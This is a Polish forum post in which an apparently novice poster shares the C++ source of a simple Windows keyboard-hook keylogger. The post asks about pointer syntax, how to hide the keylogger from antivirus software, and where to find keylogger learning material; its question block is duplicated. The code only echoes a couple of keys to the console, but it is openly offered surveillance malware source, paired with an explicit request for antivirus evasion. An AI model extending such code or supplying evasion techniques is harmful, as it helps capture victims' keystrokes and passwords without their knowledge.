Wiiiitttaaaammmmmm!!!
Napisałem prostego keyloggera niestety nie wszystko w nim rozumiem (na szczęście c++ to język intuicyjnym i nie muszę wszystkiego rozumieć ,by napisać program ), więc chce dowiedzieć się w miejscach w których napisałem "nie wiem" jak to działa.
Sczególnie tu i tu:
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT*)lParam; czym się różni * z tyłu od gwiazdki z przodu. Wiem ,że to podstawa kiedyś to wiedziałem ,a teraz zapomniałem okazyjnie o to pytam hehe, po co ten nawias i co robi tu lParam i co to jest.
pKbdLLHookStruct->vkCode tu z kolei zapomniałem co oznacza ten symbol -> (przekazanie wartość do konkretnej zmiennej w strukturze??)
Mam jeszcze dwa inne pytania.
Jak uczynić keylogger nie widzialnym dla anty virusów?
Macie jakieś materiały do nauki o keyloggerach? Jak tak to przekażcie materiały lub powiedzcie jakie publikacje. Może być same source i tak rozszyfruje jak działa.
Napisałem prostego keyloggera niestety nie wszystko w nim rozumiem (na szczęście c++ to język intuicyjnym i nie muszę wszystkiego rozumieć ,by napisać program ), więc chce dowiedzieć się w miejscach w których napisałem "nie wiem" jak to działa.
Sczególnie tu i tu:
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT*)lParam; czym się różni * z tyłu od gwiazdki z przodu. Wiem ,że to podstawa kiedyś to wiedziałem ,a teraz zapomniałem okazyjnie o to pytam hehe, po co ten nawias i co robi tu lParam i co to jest.
pKbdLLHookStruct->vkCode tu z kolei zapomniałem co oznacza ten symbol -> (przekazanie wartość do konkretnej zmiennej w strukturze??)
Mam jeszcze dwa inne pytania.
Jak uczynić keylogger nie widzialnym dla anty virusów?
Macie jakieś materiały do nauki o keyloggerach? Jak tak to przekażcie materiały lub powiedzcie jakie publikacje. Może być same source i tak rozszyfruje jak działa.
Kod:
#include <iostream>
#include <windows.h>
HHOOK przechwyt = 0; // uchwyt na hak
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam,LPARAM lParam); //funkcja przechwytująca klawisze z komunikatów
int main(int argc, char *argv[])
{
MSG msg;
//zmiana kolejności dotarcia komunikatów w kolejności 1.Pętla GetMessage 2. funkcja LowLevel.. 3. Program docelowy.
przechwyt = SetWindowsHookEx(WH_KEYBOARD_LL, // umożliwia monitorowanie wciśniętych klawisz LL -LowLevel .
(HOOKPROC)LowLevelKeyboardProc, // hak, zanim komunikat dotrze do celu korzysta z procedury LowLevel...
GetModuleHandle(0), // Nie wiem co to robi sugerując się nazwą myśle ,że pobiera uchwyt modułu(cokolwiek to jest)
// do funkcj jest przekazna zmienna LPCSTR = 0, LP oznacza w winAPI *, LPSTR to char*, więc LPCSTR to jakiś tam wskaźnik
0
);
while(GetMessage(&msg, NULL, 0, 0)) //pętla odbierająca komunikaty
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK LowLevelKeyboardProc
(int nCode, // nie wiem
WPARAM wParam, //komunikat
LPARAM lParam // nie wiem można przekazywać obiekty w lParam
)
{
//tworzy strukture z wskaźnikiem i inicjalizuje do niej obiekt ,który jest naszym klawiszem
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT*)lParam; // (KBDLLHOOKSTRUCT*)lParam; nie wiem za bardzo jak to rozumieć
if (nCode >= 0)// to co widać nie wiem co to nCode
{
if(wParam == WM_KEYUP) //jeśli wParam to komunikat typu WM_KEYUP to działaj
{
switch(pKbdLLHookStruct->vkCode)//odwołuje się do struktury i zamienia wartość pKbdLLHookStruct na virtual key code czyli np. 0x41
{
case 0x41:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT)) //oczywiste
{
std::cout << "A"<<std::endl;
}
break;
case 0x14:
std::cout << "[CAPS LOCK]"<<std::endl;
break;
}
}
}CallNextHookEx(przechwyt,nCode,wParam,lParam); // dzwoni po kolejny nCode i komunikat
}
//DWORD to unsigned long
//struktura KBDLLHOOKSTRUCT
//typedef struct tagKBDLLHOOKSTRUCT {
// DWORD vkCode; //kod klawisza każdy klawisz ma kod
// DWORD scanCode; //nie wiem
// DWORD flags; //nie wiem
// DWORD time; //nie wiem
// ULONG_PTR dwExtraInfo; //nie wiem
// } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT; //tagi